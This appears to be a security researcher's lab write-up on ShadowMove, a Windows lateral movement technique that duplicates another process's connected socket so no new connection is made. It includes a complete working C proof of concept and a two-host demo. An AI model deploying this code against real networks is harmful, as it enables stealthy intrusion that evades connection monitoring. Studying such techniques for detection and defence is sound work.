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ShadowMove: Lateral Movement by Duplicating Existing Sockets

ShadowMove (original paper by researchers Amirreza Niakanlahiji, Jinpeng Wei, Md Rabbi Alam, Qingyang Wang and Bei-Tseng Chu, go check it for full details) is a lateral movement technique that works by stealing (duplicating) an existing socket connected to a remote host, from a running process on a system an adversary has compromised.

This is a quick lab to familiarize with the technique, while using the PoC by Juan Manuel Fernández which he provided in his post.

Overview

The below is a simplified diagram showing how the technique works and how I tested it in my lab:

Let's see what we have in the above diagram:

  1. On the left, we have a compromised host (for example, we landed on this host by means of a successful phish) 192.168.1.117 - this is the source host from which we want to move laterally to the target host 192.168.56.102.

  2. On the right, we have the target host 192.168.56.102, which has a listening socket on TCP port 80, by means of running nc -lvp 80

  3. Source host 192.168.1.117 has an established connection to the target host 192.168.56.102:80 via nc.exe.

  4. On the source host, there's ShadowMove.exe process running - this is the process that executes the ShadowMove lateral movement technique. Note that it does not establish any connections to remote hosts at any point in time during its lifetime - this is the beauty of the technique.

  5. On the source host, ShadowMove.exe enumerates all handles nc.exe has opened and looks for handles to \Device\Afd, which are used for network socket communications. Once found, the handle is used to create a duplicate socket with WSADuplicateSocketW and WSASocket API calls. Once the shared socket is created, getpeername is used to check if the destination address of the socket is that of target host's IP address, which in our case is 192.168.56.102.

  6. Once the shared socket is created based on the \Device\Afd handle pointing to the target host, as found in step 5, ShadowMove.exe can now write to that socket with send and read from it with recv API calls.

It's important to stress once more, the ShadowMove.exe does not create any TCP connections to the target host. Instead, it reuses the existing connected socket to 192.168.56.102:80 between the source and target host, that was established by the nc.exe process on the source system - and this is the key point of this lateral movement technique.

Code

Below is the code written by Juan Manuel Fernández which I modified slightly, so that it would compile without errors in my development environment with Visual Studio 2019:

// PoC of ShadowMove Gateway by Juan Manuel Fernández (@TheXC3LL) 

#define _WINSOCK_DEPRECATED_NO_WARNINGS
#include <winsock2.h>
#include <Windows.h>
#include <stdio.h>

#pragma comment(lib,"WS2_32")

// Most of the code is adapted from https://github.com/Zer0Mem0ry/WindowsNT-Handle-Scanner/blob/master/FindHandles/main.cpp
#define STATUS_INFO_LENGTH_MISMATCH 0xc0000004
#define SystemHandleInformation 16
#define ObjectNameInformation 1

typedef NTSTATUS(NTAPI* _NtQuerySystemInformation)(
	ULONG SystemInformationClass,
	PVOID SystemInformation,
	ULONG SystemInformationLength,
	PULONG ReturnLength
	);
typedef NTSTATUS(NTAPI* _NtDuplicateObject)(
	HANDLE SourceProcessHandle,
	HANDLE SourceHandle,
	HANDLE TargetProcessHandle,
	PHANDLE TargetHandle,
	ACCESS_MASK DesiredAccess,
	ULONG Attributes,
	ULONG Options
	);
typedef NTSTATUS(NTAPI* _NtQueryObject)(
	HANDLE ObjectHandle,
	ULONG ObjectInformationClass,
	PVOID ObjectInformation,
	ULONG ObjectInformationLength,
	PULONG ReturnLength
	);

typedef struct _SYSTEM_HANDLE
{
	ULONG ProcessId;
	BYTE ObjectTypeNumber;
	BYTE Flags;
	USHORT Handle;
	PVOID Object;
	ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE, * PSYSTEM_HANDLE;

typedef struct _SYSTEM_HANDLE_INFORMATION
{
	ULONG HandleCount;
	SYSTEM_HANDLE Handles[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;

typedef struct _UNICODE_STRING
{
	USHORT Length;
	USHORT MaximumLength;
	PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;


typedef enum _POOL_TYPE
{
	NonPagedPool,
	PagedPool,
	NonPagedPoolMustSucceed,
	DontUseThisType,
	NonPagedPoolCacheAligned,
	PagedPoolCacheAligned,
	NonPagedPoolCacheAlignedMustS
} POOL_TYPE, * PPOOL_TYPE;

typedef struct _OBJECT_NAME_INFORMATION
{
	UNICODE_STRING Name;
} OBJECT_NAME_INFORMATION, * POBJECT_NAME_INFORMATION;

PVOID GetLibraryProcAddress(const char *LibraryName, const char *ProcName)
{
	return GetProcAddress(GetModuleHandleA(LibraryName), ProcName);
}

SOCKET findTargetSocket(DWORD dwProcessId, LPSTR dstIP) {
	HANDLE hProc;
	PSYSTEM_HANDLE_INFORMATION handleInfo;
	DWORD handleInfoSize = 0x10000;
	NTSTATUS status;
	DWORD returnLength;
	WSAPROTOCOL_INFOW wsaProtocolInfo = { 0 };
	SOCKET targetSocket;

	// Open target process with PROCESS_DUP_HANDLE rights
	hProc = OpenProcess(PROCESS_DUP_HANDLE, FALSE, dwProcessId);
	if (!hProc) {
		printf("[!] Error: could not open the process!\n");
		exit(-1);
	}
	printf("[+] Handle to process obtained!\n");

	// Find the functions
	_NtQuerySystemInformation NtQuerySystemInformation = (_NtQuerySystemInformation)GetLibraryProcAddress("ntdll.dll", "NtQuerySystemInformation");
	_NtDuplicateObject NtDuplicateObject = (_NtDuplicateObject)GetLibraryProcAddress("ntdll.dll", "NtDuplicateObject");
	_NtQueryObject NtQueryObject = (_NtQueryObject)GetLibraryProcAddress("ntdll.dll", "NtQueryObject");

	// Retrieve handles from the target process
	handleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(handleInfoSize);
	while ((status = NtQuerySystemInformation(SystemHandleInformation, handleInfo, handleInfoSize, NULL)) == STATUS_INFO_LENGTH_MISMATCH)
		handleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(handleInfo, handleInfoSize *= 2);

	printf("[+] Found [%d] handles in PID %d\n============================\n", handleInfo->HandleCount, dwProcessId);

	// Iterate 
	for (DWORD i = 0; i < handleInfo->HandleCount; i++) {

		// Check if it is the desired type of handle
		if (handleInfo->Handles[i].ObjectTypeNumber == 0x24) {

			SYSTEM_HANDLE handle = handleInfo->Handles[i];
			HANDLE dupHandle = NULL;
			POBJECT_NAME_INFORMATION objectNameInfo;

			// Duplicate handle
			NtDuplicateObject(hProc, (HANDLE)handle.Handle, GetCurrentProcess(), &dupHandle, PROCESS_ALL_ACCESS, FALSE, DUPLICATE_SAME_ACCESS);
			objectNameInfo = (POBJECT_NAME_INFORMATION)malloc(0x1000);

			// Get handle info
			NtQueryObject(dupHandle, ObjectNameInformation, objectNameInfo, 0x1000, &returnLength);

			// Narow the search checking if the name length is correct (len(\Device\Afd) == 11 * 2)
			if (objectNameInfo->Name.Length == 22) {
				printf("[-] Testing %d of %d\n", i, handleInfo->HandleCount);

				// Check if it ends in "Afd"
				LPWSTR needle = (LPWSTR)malloc(8);
				memcpy(needle, objectNameInfo->Name.Buffer + 8, 6);
				if (needle[0] == 'A' && needle[1] == 'f' && needle[2] == 'd') {

					// We got a candidate
					printf("\t[*] \\Device\\Afd found at %d!\n", i);

					// Try to duplicate the socket
					status = WSADuplicateSocketW((SOCKET)dupHandle, GetCurrentProcessId(), &wsaProtocolInfo);
					if (status != 0) {
						printf("\t\t[X] Error duplicating socket!\n");
						free(needle);
						free(objectNameInfo);
						CloseHandle(dupHandle);
						continue;
					}

					// We got it?
					targetSocket = WSASocket(wsaProtocolInfo.iAddressFamily, wsaProtocolInfo.iSocketType, wsaProtocolInfo.iProtocol, &wsaProtocolInfo, 0, WSA_FLAG_OVERLAPPED);
					if (targetSocket != INVALID_SOCKET) {
						struct sockaddr_in sockaddr;
						DWORD len;
						len = sizeof(SOCKADDR_IN);

						// It this the socket?
						if (getpeername(targetSocket, (SOCKADDR*)&sockaddr, (int*)&len) == 0) {
							if (strcmp(inet_ntoa(sockaddr.sin_addr), dstIP) == 0) {
								printf("\t[*] Duplicated socket (%s)\n", inet_ntoa(sockaddr.sin_addr));
								free(needle);
								free(objectNameInfo);
								return targetSocket;
							}
						}

					}

					free(needle);
				}

			}
			free(objectNameInfo);

		}
	}

	return 0;
}


int main(int argc, char** argv) {
	WORD wVersionRequested;
	WSADATA wsaData;
	DWORD dwProcessId;
	LPSTR dstIP = NULL;
	SOCKET targetSocket;
	char buff[255] = { 0 };

	printf("\t\t\t-=[ ShadowMove Gateway PoC ]=-\n\n");

	// smgateway.exe [PID] [IP dst]
	/* It's just a PoC, we do not validate the args. But at least check if number of args is right X) */
	if (argc != 3) {
		printf("[!] Error: syntax is %s [PID] [IP dst]\n", argv[0]);
		exit(-1);
	}
	dwProcessId = strtoul(argv[1], NULL, 10);
	dstIP = (LPSTR)malloc(strlen(argv[2]) * (char)+1);
	memcpy(dstIP, argv[2], strlen(dstIP));


	// Classic
	wVersionRequested = MAKEWORD(2, 2);
	WSAStartup(wVersionRequested, &wsaData);

	targetSocket = findTargetSocket(dwProcessId, dstIP);
	send(targetSocket, "hello from shadowmove and reused socket!\n", strlen("hello from shadowmove and reused socket!\n"), 0);
	recv(targetSocket, buff, 255, 0);
	printf("\n[*] Message from target to shadowmove:\n\n %s\n", buff);
	return 0;
}

Demo

Once we have compiled the above code, we can test the technique as it was described earlier in our diagram. Below highlighted are key aspects of the demo:

  • In the top right corner, there's a target system 192.168.56.102 with nc listening on port 80.

  • In the top left corner, there's a compromised (source) system and nc.exe establishing a connection to target host 192.168.56.102:80.

  • In the bottom left corner, there's ShadowMove.exe running on the source system, which enumerates handles of the nc.exe running on the source system, finds a socket that is connected to 192.168.56.102:80 (target system), duplicates it and writes hello from shadowmove and reused socket! to it, which is then received on the target system (top right).

  • Target system (top right) writes back to the same socket hello from target to shadowmove, which is received by shadowmove.exe on the source system (bottom left).

  • In the bottom right, we see a ProcessHacker that shows that at no point in time shadowmove.exe establishes no TCP connections.

References

https://www.usenix.org/system/files/sec20summer_niakanlahiji_prepub.pdf

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